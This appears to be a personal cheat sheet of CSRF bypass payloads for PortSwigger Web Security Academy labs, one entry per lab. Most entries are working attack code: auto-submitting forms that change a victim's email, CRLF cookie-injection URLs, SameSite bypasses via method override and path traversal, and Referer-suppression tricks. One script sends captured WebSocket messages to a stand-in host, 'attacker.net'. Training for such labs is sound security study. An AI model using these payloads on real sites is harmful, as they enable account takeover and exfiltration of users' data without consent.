##### Token Validation Depends on Request Method1
- **Description:** Server enforces CSRF token validation **only on POST** requests.
- **Payload:**
```html
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="email" value="
[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
```
- **Source:** [[2. CSRF where token validation depends on request method]]
---
##### Token Validation Depends on Token Presence
- **Description:** Request is blocked only if CSRF token is missing. Value is not verified.
- **Payload Strategy:** Omit the `csrf` input entirely in a GET or POST request.
- **Source:** [[3. CSRF where token validation depends on token being present]]
---
##### Token Not Tied to User Session
- **Description:** Token is global or shared across users.
- **Payload Strategy:**
1. View source of any form containing a CSRF token while logged in.
2. Reuse this token in a malicious CSRF form.
- **Source:** [[4. CSRF where token is not tied to user session]]
---
##### Token Set in Non-Session Cookie
- **Description:** Token is enforced via a cookie (not via session binding).
- **Exploit Stage 1:** Force victim to set the cookie via injection:
```html
<script>
location = "https://victim-site.net/?search=w;%0aSet-Cookie:+csrfKey=YOUR_TOKEN"
</script>
```
- **Exploit Stage 2:** Submit standard CSRF form using that token.
- **Source:** [[5. CSRF where token is tied to non-session cookie]]
---
##### Token Duplicated via Cookie Injection
- **Description:** CSRF token accepted via header and cookie.
- **Payload:**
```http
/?search=w%0d%0aSet-Cookie:%20csrf=evil%3b%20SameSite=None
```
- **Source:** [[6. CSRF where token is duplicated in cookie]]
---
##### SameSite=Lax Bypass via Method Override
- **Description:** Bypass Lax cookie protection by sending GET request with `_method=POST` param.
- **Payload:**
```
/my-account/
[email protected]&_method=POST
```
- **Source:** [[7. SameSite Lax bypass via method override]]
---
##### SameSite=Strict Bypass via Client-Side Redirect
- **Description:** Redirect via a trusted path that ends up hitting a sensitive endpoint.
- **Payload:**
```
/post/comment/confirmation?postId=7../../../my-account/change-email?email=evil%40attacker.com%26submit=1
```
- **Source:** [[8. SameSite Strict bypass via client-side redirect]]
---
##### SameSite=Strict Bypass via Sibling Domain
- **Description:** Exploit cookie injection from a sibling subdomain to gain CSRF access.
- **Payload (Stage 1):**
```html
<script>
var ws = new WebSocket('wss://websocket-evil/chat');
ws.onopen = () => ws.send("READY");
ws.onmessage = e => fetch('https://attacker.net/log', {
method: 'POST', mode: 'no-cors', body: e.data
});
</script>
```
- **Payload (Stage 2):**
```html
<script>
location = "https://cms-victim.web-security-academy.net/login?username=ENCODED_PAYLOAD&password=pass"
</script>
```
- **Source:** [[9. SameSite Strict bypass via sibling domain]]
---
##### SameSite=Lax Bypass via Cookie Refresh
- **Description:** Cookies set on GET become active on second request.
- **Payload Strategy:**
1. Deliver standard CSRF form.
2. Wait 5–10 seconds.
3. Deliver again → browser includes fresh cookies.
- **Source:** [[10. SameSite Lax bypass via cookie refresh]]
---
##### CSRF bypass via missing Referer header
```html
<meta name="referrer" content="no-referrer">
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="
[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
```
Context: The application enforces CSRF protection by rejecting requests with a `Referer` header from foreign domains, but **allows** requests when the header is **absent**. Suppressing the header via the `<meta name="referrer" content="no-referrer">` tag bypasses this check.
Encoding: None
Source: [[11. CSRF where Referer validation depends on header being present]]
---
##### CSRF bypass via substring-based Referer validation – exploit using `unsafe-url` policy
```html
<head>
<meta name="referrer" content="unsafe-url">
</head>
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="
[email protected]">
</form>
<script>
// Append the lab domain to the URL to satisfy the weak substring check
history.pushState("", "", "/?YOUR-LAB-ID.web-security-academy.net");
document.forms[0].submit();
</script>
```
Context: The application only performs a substring check for its domain in the `Referer` header. By pushing a fake state that includes the lab domain in the URL and forcing the full URL to be sent with `meta name="referrer" content="unsafe-url"`, the server’s weak check is bypassed and the CSRF request is accepted.
Encoding: None
Source: [[12. CSRF with broken Referer validation]]